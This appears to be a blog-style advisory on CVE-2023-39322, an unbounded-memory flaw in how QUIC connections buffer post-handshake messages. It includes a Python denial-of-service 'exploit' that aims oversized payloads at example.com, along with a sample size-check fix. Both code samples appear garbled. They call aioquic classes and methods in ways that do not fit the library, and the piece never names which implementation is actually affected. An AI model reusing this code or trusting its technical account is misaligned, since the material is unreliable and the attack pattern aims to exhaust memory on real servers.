Recently, a vulnerability has been reported affecting the reliability and performance of QUIC (Quick UDP Internet Connections) by allowing unbounded memory growth. The vulnerability, marked as CVE-2023-39322, stems from the lack of an upper bound on the data buffered when reading post-handshake messages on QUIC connections. This leaves the door open for a malicious QUIC connection to exploit the system and consume memory endlessly. The fix has been introduced as a limit on message size. Specifically, QUIC connections will now reject any messages larger than 65KiB in size.

What is QUIC?

Introduced by Google, QUIC is a new transport layer protocol designed to reduce the latency and increase the security of internet connections. QUIC achieves this by using the User Datagram Protocol (UDP) instead of the traditional Transmission Control Protocol (TCP). This protocol switch significantly improves performance and responsiveness for numerous applications and services, such as video streaming, gaming, and real-time data sharing.

Vulnerability Details

The vulnerability (CVE-2023-39322) is caused by the absence of a maximum data buffer size constraint on QUIC connections when reading post-handshake messages. As a result, a malicious QUIC connection may exploit this vulnerability to incur unbounded memory growth. This exploitation can severely impact the performance of systems and applications relying on QUIC connections.

An example of code that could exploit this vulnerability is shown below

import asyncio
import random
import time
from aioquic.asyncio.protocol import QuicConnectionProtocol
from aioquic.asyncio.protocol import QuicProtocol
from aioquic.quic.configuration import QuicConfiguration
from aioquic.quic.events import HandshakeCompleted

async def exploit_memory_growth():
  configuration = QuicConfiguration(is_client=True)
  loop = asyncio.get_event_loop()

  async with loop.create_datagram_endpoint(
      lambda: QuicProtocol(configuration=configuration),
      remote_addr=("example.com", 443)) as protocol:
    
    # Trigger the handshake
    protocol.start_handshake()

    while True:
      payload = b"\x00" * random.randint(65 * 1024, 5 * 1024 ** 2)
      protocol.buffer_received_data(payload)
      await asyncio.sleep(.1)

asyncio.run(exploit_memory_growth())

To mitigate this vulnerability, connections must reject any messages larger than 65KiB in size, ensuring that memory usage remains finite and manageable.

Fix Implementation

The proposed fix for CVE-2023-39322 involves placing an upper bound on the size of messages read on QUIC connections. By limiting the buffered message size to no more than 65KiB, the possibility of the unbounded memory growth is reduced.

To implement the fix, one would need to modify the affected QUIC connection library's source code to include a check for the message size before buffering the received data. An example of a fix implementation is shown below:

# In the QUIC connection library (example: aioquic)
MAX_ALLOWED_BUFFERED_SIZE = 65 * 1024

def buffer_received_data(self, data: bytes) -> None:
    if len(data) > MAX_ALLOWED_BUFFERED_SIZE:
        raise ValueError("Received message size exceeds allowed buffer size")
    
    # Proceed with handling data
    ...

This modification ensures that incoming messages above the predefined buffer limit will be rejected, preventing unbounded memory consumption.

Conclusion

QUIC connections are designed to reduce latency and improve security, but the vulnerability designated as CVE-2023-39322 demonstrates that these protocols are not immune to potential security issues. System administrators and developers relying on QUIC should remain vigilant and apply security updates as necessary to guard against this and other vulnerabilities.

For more information regarding the vulnerability, CVE-2023-39322, refer to the original references

- CVE-2023-39322
- QUIC Protocol

By addressing this issue and applying a consistent message size limit, the risk of unbounded memory growth on QUIC connections can be effectively mitigated, ensuring stable and secure internet connections for various applications and services.

Timeline

Published on: 09/08/2023 17:15:28 UTC
Last modified on: 11/25/2023 11:15:17 UTC